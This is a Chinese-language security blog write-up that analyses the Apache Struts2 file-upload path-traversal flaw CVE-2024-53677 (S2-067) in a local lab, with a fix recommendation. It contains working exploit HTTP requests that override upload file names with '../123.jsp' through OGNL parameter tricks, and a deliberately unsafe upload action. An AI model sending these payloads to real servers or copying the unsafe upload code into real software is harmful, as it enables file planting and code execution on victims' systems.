CVE-2024-53677

Apache-Struts2-文件上传逻辑绕过-CVE-2024-53677-S2-067 - y4tacker

漏洞简介

Apache Struts 是一个开源的、用于构建企业级Java Web应用的MVC框架。2024年12月,Apache 官方披露 CVE-2024-53677 Apache Struts FileUploadInterceptor 文件上传漏洞。在受影响版本中,若代码中使用了FileUploadInterceptor,当进行文件上传时,攻击者可能构造恶意请求利用目录遍历等上传文件至其他目录,在特定场景下可能造成代码执行。

影响版本

Struts 2.0.0 - Struts 2.3.37

Struts 2.5.0 - Struts 2.5.33

Struts 6.0.0 - Struts 6.3.0.2

环境搭建

https://github.com/proudwind/struts2_vulns/tree/master/s2vuls

第一次复现struts的漏洞,借助了这个项目搭建环境(自己尝试从零搭环境发现达不到预期效果,访问upload.action返回404,怪)

clone下来这个目录,然后根据需要增加自己的代码即可

修改pom.xml,依赖更换为漏洞版本,这里选用6.3.0.2

1
2
3
4
5
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>6.3.0.2</version>
</dependency>

定义一个UploadAction类

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package cn.ph0ebus.s2067.action;

import com.opensymphony.xwork2.ActionSupport;
import java.io.File;
import org.apache.commons.io.FileUtils;

public class UploadAction extends ActionSupport {
private static final long serialVersionUID = 1L;
private File upload;
private String uploadContentType;
private String uploadFileName;

public UploadAction() {
}

public File getUpload() {
return this.upload;
}

public void setUpload(File upload) {
this.upload = upload;
}

public String getUploadContentType() {
return this.uploadContentType;
}

public void setUploadContentType(String uploadContentType) {
this.uploadContentType = uploadContentType;
}

public String getUploadFileName() {
return this.uploadFileName;
}

public void setUploadFileName(String uploadFileName) {
this.uploadFileName = uploadFileName;
}

public String doUpload() {
String path = "/tmp";
String realPath = path + File.separator + this.uploadFileName;

try {
FileUtils.copyFile(this.upload, new File(realPath));
} catch (Exception e) {
e.printStackTrace();
}

return "success";
}
}

配置struts.xml,通常在项目路径的/WEB-INF/classes路径下,添加这个action

1
2
3
<action name="s2067" class="cn.ph0ebus.s2067.action.UploadAction" method="doUpload">
<result name="success" type="">/index.jsp</result>
</action>

img

web.xml当中filter配置好了,可以不用修改

漏洞复现

单文件上传

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /s2vuls/s2067.action HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 188
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

1aaa
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="top.UploadFileName";
Content-Type: text/plain

../123.jsp
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

img

多文件上传

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /s2vuls/s2067s.action HTTP/1.1
Host: 127.0.0.1:8080
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryq0PW93h6lyBzjZNZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 138

------WebKitFormBoundaryq0PW93h6lyBzjZNZ
Content-Disposition: form-data; name="Upload";filename="1.txt"
Content-Type: text/plain

1aaa
------WebKitFormBoundaryq0PW93h6lyBzjZNZ
Content-Disposition: form-data; name="uploadFileName[0]";

../123.jsp
------WebKitFormBoundaryq0PW93h6lyBzjZNZ--

img

漏洞分析

官方漏洞通告:https://cwiki.apache.org/confluence/display/WW/S2-067

File upload logic is flawed, and allows an attacker to enable paths with traversals - similar problem as reported in S2-066

由此可见,先分析一下S2-066这个漏洞…

[https://blog.ph0ebus.cn/2024/12/15/Apache%20Struts%20S2-066%20%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/](https://blog.ph0ebus.cn/2024/12/15/Apache Struts S2-066 漏洞分析/)

而这里的修复方案就是,org.apache.struts2.dispatcher.HttpParameters#appendAll中添加参数时,忽略大小写遍历删除同名参数再做添加

1
2
3
4
5
6
7
8
9
10
11
12
13
public HttpParameters appendAll(Map<String, Parameter> newParams) {
this.remove(newParams.keySet());
this.parameters.putAll(newParams);
return this;
}

public HttpParameters remove(Set<String> paramsToRemove) {
for(String paramName : paramsToRemove) {
this.parameters.entrySet().removeIf((p) -> ((String)p.getKey()).equalsIgnoreCase(paramName));
}

return this;
}

img

FileUploadInterceptor#intercept将文件上传的参数添加到参数列表时会用到HttpParameters#appendAll这个方法,于是原本利用简单的大小写转换的参数覆盖方式不可行

在分析S2-066的时候。我注意到一个很有意思的点,在ognl.OgnlRuntime#capitalizeBeanPropertyName

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private static String capitalizeBeanPropertyName(String propertyName) {
if (propertyName.length() == 1) {
return propertyName.toUpperCase();
} else if (propertyName.startsWith("get") && propertyName.endsWith("()") && Character.isUpperCase(propertyName.substring(3, 4).charAt(0))) {
return propertyName;
} else if (propertyName.startsWith("set") && propertyName.endsWith(")") && Character.isUpperCase(propertyName.substring(3, 4).charAt(0))) {
return propertyName;
} else if (propertyName.startsWith("is") && propertyName.endsWith("()") && Character.isUpperCase(propertyName.substring(2, 3).charAt(0))) {
return propertyName;
} else {
char first = propertyName.charAt(0);
char second = propertyName.charAt(1);
if (Character.isLowerCase(first) && Character.isUpperCase(second)) {
return propertyName;
} else {
char[] chars = propertyName.toCharArray();
chars[0] = Character.toUpperCase(chars[0]);
return new String(chars);
}
}
}

这里进行了大写的转换,能联想到部分字符存在大小写转换的特性

http://www.lvyyevd.cn/archives/java-yu-yan-zhong-da-xiao-xie-de-te-xing

比如ı转换为大写可以得到字母I,于是能想到,如果上传的参数name第一个字母小写i,能否通过这个特性绕过呢?虽然即使能绕过也不具有通用意义,但是还是试了试

img

简单写一个action,这里name设为inter,然后发包,尝试用ınterFileName覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /s2vuls/s2067test.action HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 188
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Inter"; filename="1.txt"
Content-Type: text/plain

1aaa
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="ınterFileName";
Content-Type: text/plain

../123.jsp
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

img

不幸的是,这样还是会被equalsIgnoreCase方法检测到然后remove掉恶意参数,看看这个方法的实现逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public boolean equalsIgnoreCase(String anotherString) {
return (this == anotherString) ? true
: (anotherString != null)
&& (anotherString.value.length == value.length)
&& regionMatches(true, 0, anotherString, 0, value.length);
}

public boolean regionMatches(boolean ignoreCase, int toffset,
String other, int ooffset, int len) {
char ta[] = value;
int to = toffset;
char pa[] = other.value;
int po = ooffset;
// Note: toffset, ooffset, or len might be near -1>>>1.
if ((ooffset < 0) || (toffset < 0)
|| (toffset > (long)value.length - len)
|| (ooffset > (long)other.value.length - len)) {
return false;
}
while (len-- > 0) {
char c1 = ta[to++];
char c2 = pa[po++];
if (c1 == c2) {
continue;
}
if (ignoreCase) {
// If characters don't match but case may be ignored,
// try converting both characters to uppercase.
// If the results match, then the comparison scan should
// continue.
char u1 = Character.toUpperCase(c1);
char u2 = Character.toUpperCase(c2);
if (u1 == u2) {
continue;
}
// Unfortunately, conversion to uppercase does not work properly
// for the Georgian alphabet, which has strange rules about case
// conversion. So we need to make one last check before
// exiting.
if (Character.toLowerCase(u1) == Character.toLowerCase(u2)) {
continue;
}
}
return false;
}
return true;
}

可见这里会逐位比较,要满足两个字符,本身相等或同时转大写相等或同时转小写相等就会被认为相等。显然仅仅是利用上面的特性不足以完成这个壮举。

后面在分析的时候发现,即使存在一个特殊字符恰好能满足苛刻的要求也不能用于payload

因为在参数被put到acceptableParameters前,会调用com.opensymphony.xwork2.interceptor.ParametersInterceptor#isAcceptableParameter进行检查

1
2
3
4
5
6
7
8
9
10
11
12
13
protected boolean acceptableName(String name) {
if (this.isIgnoredDMI(name)) {
LOG.trace("DMI is enabled, ignoring DMI method: {}", name);
return false;
} else {
boolean accepted = this.isWithinLengthLimit(name) && !this.isExcluded(name) && this.isAccepted(name);
if (this.devMode && accepted) {
LOG.debug("Parameter [{}] was accepted and will be appended to action!", name);
}

return accepted;
}
}

首先通过isIgnoredDMI()黑名单检查,正则匹配^(action|method):.*,匹配不到则else逻辑部分

然后通过黑名单校验和白名单校验(长度校验只会warning,无伤大雅)

1
2
3
4
5
6
黑名单正则表达式1
(^|\%\{)((#?)(top(\.|\['|\[")|\[\d\]\.)?)(dojo|struts|session|request|response|application|servlet(Request|Response|Context)|parameters|context|_memberAccess)(\.|\[).*
黑名单正则表达式2
.*(^|\.|\[|\'|"|get)class(\(\.|\[|\'|").*
白名单正则表达式
\w+((\.\w+)|(\[\d+])|(\(\d+\))|(\['(\w-?|[\u4e00-\u9fa5]-?)+'])|(\('(\w-?|[\u4e00-\u9fa5]-?)+'\)))*

暂且不说黑名单,白名单校验也无法通过,这里只允许几种样式的参数通过校验,严格限制了字符集

1
2
3
4
5
6
aaaa
aaaa.aa
aaaa['abc']
aaaa('abc')
aaaa[0]
aaaa(0)

那么只能另寻他路了,回到思考如何在ognl参数绑定时如何进行参数覆盖

img

FileUploadInterceptor#intercept处理后传给com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters进行参数绑定

跟进newStack.setParameter(name, value.getObject());这段代码可以发现使用了com.opensymphony.xwork2.ognl.OgnlValueStack#setValue(java.lang.String, java.lang.Object, boolean)进行实现,而这个方法允许使用OGNL表达式

setParameter

void setParameter(String expr, Object value)

Attempts to set a property on a bean in the stack with the given expression using the default search order. N.B.: unlike #setValue(String,Object) it doesn’t allow eval expression.

Parameters:

expr - the expression defining the path to the property to be set.

value - the value to be set into the named property

关于OGNL表达式的基础知识可以参考这篇文章

https://jueee.github.io/2020/08/2020-08-15-Ognl%E8%A1%A8%E8%BE%BE%E5%BC%8F%E7%9A%84%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95/

于是可以用OGNL表达式操作一波,看看能否获取到uploadFileName从而实现覆盖

先说说多文件上传的情况

1
2
3
4
5
6
7
8
public class UploadsAction extends ActionSupport {
private static final long serialVersionUID = 1L;
private List<File> upload;
private List<String> uploadContentType;
private List<String> uploadFileName;

//...
}

可见这里是List,结合OGNL表达式和白名单校验,很容易联想到使用uplooadFileName[0]就可以获取到第一个文件的文件名

由S2-066的分析可知,要能在com.opensymphony.xwork2.ognl.OgnlValueStack#setParameter覆盖原始的文件名,则必须要让被覆盖的键值对在TreeMap对象中更靠前,于是这里给upload首字母大写为Upload,然后加上uploadFileName[0]一起传入文件上传接口

com.opensymphony.xwork2.ognl.OgnlValueStack#setValue(java.lang.String, java.lang.Object, boolean)方法下个断点

img

调试这里的代码即可发现,成功由uploadFileName[0]获取到原始文件名1.txt,然后setValue覆盖目标值为../123.jsp

然后聊聊单文件上传的情况,类似地,既然大小写不能解决,就通过OGNL表达式获取

经过深入的调试可以找到这里OGNL表达式生成语法树后获取相应值的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
getProperty:122, CompoundRootAccessor (com.opensymphony.xwork2.ognl.accessor)
getProperty:3344, OgnlRuntime (ognl)
getValueBody:121, ASTProperty (ognl)
evaluateGetValueBody:212, SimpleNode (ognl)
getValue:258, SimpleNode (ognl)
setValueBody:222, ASTChain (ognl)
evaluateSetValueBody:220, SimpleNode (ognl)
setValue:308, SimpleNode (ognl)
setValue:829, Ognl (ognl)
lambda$setValue$2:550, OgnlUtil (com.opensymphony.xwork2.ognl)
execute:-1, 1943089905 (com.opensymphony.xwork2.ognl.OgnlUtil$$Lambda$106)
compileAndExecute:625, OgnlUtil (com.opensymphony.xwork2.ognl)
setValue:543, OgnlUtil (com.opensymphony.xwork2.ognl)
trySetValue:195, OgnlValueStack (com.opensymphony.xwork2.ognl)
setValue:182, OgnlValueStack (com.opensymphony.xwork2.ognl)
setParameter:166, OgnlValueStack (com.opensymphony.xwork2.ognl)
setParameters:228, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
doIntercept:144, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
......
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public Object getProperty(Map context, Object target, Object name) throws OgnlException {
CompoundRoot root = (CompoundRoot)target;
OgnlContext ognlContext = (OgnlContext)context;
if (name instanceof Integer) {
Integer index = (Integer)name;
return root.cutStack(index);
} else if (!(name instanceof String)) {
return null;
} else if ("top".equals(name)) {
return root.size() > 0 ? root.get(0) : null;
} else {
for(Object o : root) {
if (o != null) {
try {
if (OgnlRuntime.hasGetProperty(ognlContext, o, name) || o instanceof Map && ((Map)o).containsKey(name)) {
return OgnlRuntime.getProperty(ognlContext, o, name);
}
} catch (OgnlException e) {
if (e.getReason() != null) {
String msg = "Caught an Ognl exception while getting property " + name;
throw new StrutsException(msg, e);
}
} catch (IntrospectionException var11) {
}
}
}

if (context.containsKey(OgnlValueStack.THROW_EXCEPTION_ON_FAILURE)) {
throw new NoSuchPropertyException(target, name);
} else {
return null;
}
}
}

可以看到这里top会获取root根元素的第一个元素,而此时第一个就是UploadAction对象

img

于是可以用top.uploadFileName这个OGNL表达式获取到原始文件名,并且t在TreeMap对象中可以比U排更后面,从而覆盖原始文件名

img

总结

和官方漏洞通告所述一致,这里核心思路和S2-066差不多,只是这里通过OGNL表达式获取需要覆盖的对象

而官方的修复建议如下

Upgrade to Struts 6.4.0 or greater and use Action File Upload Interceptor

修改struts2依赖到6.4.0或更高可以找到这个上传机制的实现逻辑

1
2
3
4
5
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>6.4.0</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public String intercept(ActionInvocation invocation) throws Exception {
HttpServletRequest request = invocation.getInvocationContext().getServletRequest();
if (!(request instanceof MultiPartRequestWrapper)) {
if (LOG.isDebugEnabled()) {
ActionProxy proxy = invocation.getProxy();
LOG.debug(this.getTextMessage("struts.messages.bypass.request", new String[]{proxy.getNamespace(), proxy.getActionName()}));
}

return invocation.invoke();
} else {
MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper)request;
if (!(invocation.getAction() instanceof UploadedFilesAware)) {
LOG.debug("Action: {} doesn't implement: {}, ignoring file upload", invocation.getProxy().getActionName(), UploadedFilesAware.class.getSimpleName());
return invocation.invoke();
} else {
UploadedFilesAware action = (UploadedFilesAware)invocation.getAction();
this.applyValidation(action, multiWrapper);
Enumeration<String> fileParameterNames = multiWrapper.getFileParameterNames();
List<UploadedFile> acceptedFiles = new ArrayList();

while(fileParameterNames != null && fileParameterNames.hasMoreElements()) {
String inputName = (String)fileParameterNames.nextElement();
UploadedFile[] uploadedFiles = multiWrapper.getFiles(inputName);
if (uploadedFiles != null && uploadedFiles.length != 0) {
for(UploadedFile uploadedFile : uploadedFiles) {
if (this.acceptFile(action, uploadedFile, uploadedFile.getOriginalName(), uploadedFile.getContentType(), inputName)) {
acceptedFiles.add(uploadedFile);
}
}
} else if (LOG.isWarnEnabled()) {
LOG.warn(this.getTextMessage(action, "struts.messages.invalid.file", new String[]{inputName}));
}
}

if (acceptedFiles.isEmpty()) {
LOG.debug("No files have been uploaded/accepted");
} else {
LOG.debug("Passing: {} uploaded file(s) to action", acceptedFiles.size());
action.withUploadedFiles(acceptedFiles);
}

return invocation.invoke();
}
}
}

可见这里和原本的逻辑发生了较大变化,只处理了文件上传相关的参数,也就不存在覆盖的问题了

⬆︎TOP